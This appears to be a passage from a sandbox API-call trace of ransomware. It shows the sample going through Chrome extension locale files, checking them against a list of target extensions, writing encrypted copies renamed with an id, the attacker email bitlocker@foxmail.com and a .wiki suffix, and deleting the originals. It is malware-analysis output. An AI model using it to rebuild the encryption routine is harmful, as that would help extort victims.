lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.718] lstrlenW (lpString=".rar") returned 4 [0174.718] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.718] lstrlenW (lpString=".bz2") returned 4 [0174.718] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.718] lstrlenW (lpString=".7z") returned 3 [0174.718] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.718] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 153 [0174.718] lstrlenW (lpString=".dbf") returned 4 [0174.718] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.718] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 153 [0174.718] lstrlenW (lpString=".1cd") returned 4 [0174.718] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.718] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 153 [0174.718] lstrlenW (lpString=".jpg") returned 4 [0174.718] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.718] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.718] lstrlenW (lpString="messages.json") returned 13 [0174.718] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.719] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=179) returned 1 [0174.719] CloseHandle (hObject=0x198) returned 1 [0174.719] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json")) returned 0x2020 [0174.719] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.719] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.719] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.720] GetLastError () returned 0x0 [0174.720] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.721] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.722] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.722] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.722] SetEndOfFile (hFile=0x334) returned 1 [0174.722] CloseHandle (hObject=0x334) returned 1 [0174.722] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.722] SetEndOfFile (hFile=0x198) returned 1 [0174.723] CloseHandle (hObject=0x198) returned 1 [0174.723] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.723] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json")) returned 1 [0174.723] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 153 [0174.723] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 153 [0174.723] lstrlenW (lpString=".doc") returned 4 [0174.723] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.723] lstrlenW (lpString=".docx") returned 5 [0174.723] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.723] lstrlenW (lpString=".pdf") returned 4 [0174.723] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.723] lstrlenW (lpString=".xls") returned 4 [0174.723] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.723] lstrlenW (lpString=".xlsx") returned 5 [0174.724] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.724] lstrlenW (lpString=".ppt") returned 4 [0174.724] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 153 [0174.724] lstrlenW (lpString=".zip") returned 4 [0174.724] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.724] lstrlenW (lpString=".rar") returned 4 [0174.724] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.724] lstrlenW (lpString=".bz2") returned 4 [0174.724] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.724] lstrlenW (lpString=".7z") returned 3 [0174.724] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 153 [0174.724] lstrlenW (lpString=".dbf") returned 4 [0174.724] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 153 [0174.724] lstrlenW (lpString=".1cd") returned 4 [0174.724] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 153 [0174.724] lstrlenW (lpString=".jpg") returned 4 [0174.724] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 153 [0174.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 153 [0174.724] lstrlenW (lpString=".doc") returned 4 [0174.724] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.724] lstrlenW (lpString=".docx") returned 5 [0174.724] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.724] lstrlenW (lpString=".pdf") returned 4 [0174.724] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.725] lstrlenW (lpString=".xls") returned 4 [0174.725] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.725] lstrlenW (lpString=".xlsx") returned 5 [0174.725] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.725] lstrlenW (lpString=".ppt") returned 4 [0174.725] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.725] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 153 [0174.725] lstrlenW (lpString=".zip") returned 4 [0174.725] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.725] lstrlenW (lpString=".rar") returned 4 [0174.725] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.725] lstrlenW (lpString=".bz2") returned 4 [0174.725] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.725] lstrlenW (lpString=".7z") returned 3 [0174.725] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.725] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 153 [0174.725] lstrlenW (lpString=".dbf") returned 4 [0174.725] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.725] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 153 [0174.725] lstrlenW (lpString=".1cd") returned 4 [0174.725] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.725] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 153 [0174.725] lstrlenW (lpString=".jpg") returned 4 [0174.725] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.725] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.725] lstrlenW (lpString="messages.json") returned 13 [0174.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.726] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=179) returned 1 [0174.726] CloseHandle (hObject=0x198) returned 1 [0174.726] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json")) returned 0x2020 [0174.726] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.726] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.726] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.727] GetLastError () returned 0x0 [0174.727] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.728] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.729] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.729] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.729] SetEndOfFile (hFile=0x334) returned 1 [0174.729] CloseHandle (hObject=0x334) returned 1 [0174.729] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.729] SetEndOfFile (hFile=0x198) returned 1 [0174.730] CloseHandle (hObject=0x198) returned 1 [0174.730] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.730] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json")) returned 1 [0174.730] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 153 [0174.730] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 153 [0174.730] lstrlenW (lpString=".doc") returned 4 [0174.730] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.730] lstrlenW (lpString=".docx") returned 5 [0174.730] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.731] lstrlenW (lpString=".pdf") returned 4 [0174.731] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.731] lstrlenW (lpString=".xls") returned 4 [0174.731] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.731] lstrlenW (lpString=".xlsx") returned 5 [0174.731] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.731] lstrlenW (lpString=".ppt") returned 4 [0174.731] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.731] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 153 [0174.731] lstrlenW (lpString=".zip") returned 4 [0174.731] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.731] lstrlenW (lpString=".rar") returned 4 [0174.731] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.731] lstrlenW (lpString=".bz2") returned 4 [0174.731] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.731] lstrlenW (lpString=".7z") returned 3 [0174.731] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.731] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 153 [0174.731] lstrlenW (lpString=".dbf") returned 4 [0174.731] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.731] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 153 [0174.731] lstrlenW (lpString=".1cd") returned 4 [0174.731] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.731] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 153 [0174.731] lstrlenW (lpString=".jpg") returned 4 [0174.731] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.731] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 153 [0174.731] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 153 [0174.732] lstrlenW (lpString=".doc") returned 4 [0174.732] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.732] lstrlenW (lpString=".docx") returned 5 [0174.732] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.732] lstrlenW (lpString=".pdf") returned 4 [0174.732] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.732] lstrlenW (lpString=".xls") returned 4 [0174.732] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.732] lstrlenW (lpString=".xlsx") returned 5 [0174.732] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.732] lstrlenW (lpString=".ppt") returned 4 [0174.732] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.732] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 153 [0174.732] lstrlenW (lpString=".zip") returned 4 [0174.732] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.732] lstrlenW (lpString=".rar") returned 4 [0174.732] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.732] lstrlenW (lpString=".bz2") returned 4 [0174.732] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.732] lstrlenW (lpString=".7z") returned 3 [0174.732] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.732] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 153 [0174.732] lstrlenW (lpString=".dbf") returned 4 [0174.732] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.732] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 153 [0174.732] lstrlenW (lpString=".1cd") returned 4 [0174.732] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.732] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 153 [0174.732] lstrlenW (lpString=".jpg") returned 4 [0174.732] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.733] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.733] lstrlenW (lpString="messages.json") returned 13 [0174.733] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.733] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=179) returned 1 [0174.733] CloseHandle (hObject=0x198) returned 1 [0174.733] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json")) returned 0x2020 [0174.733] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.733] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js 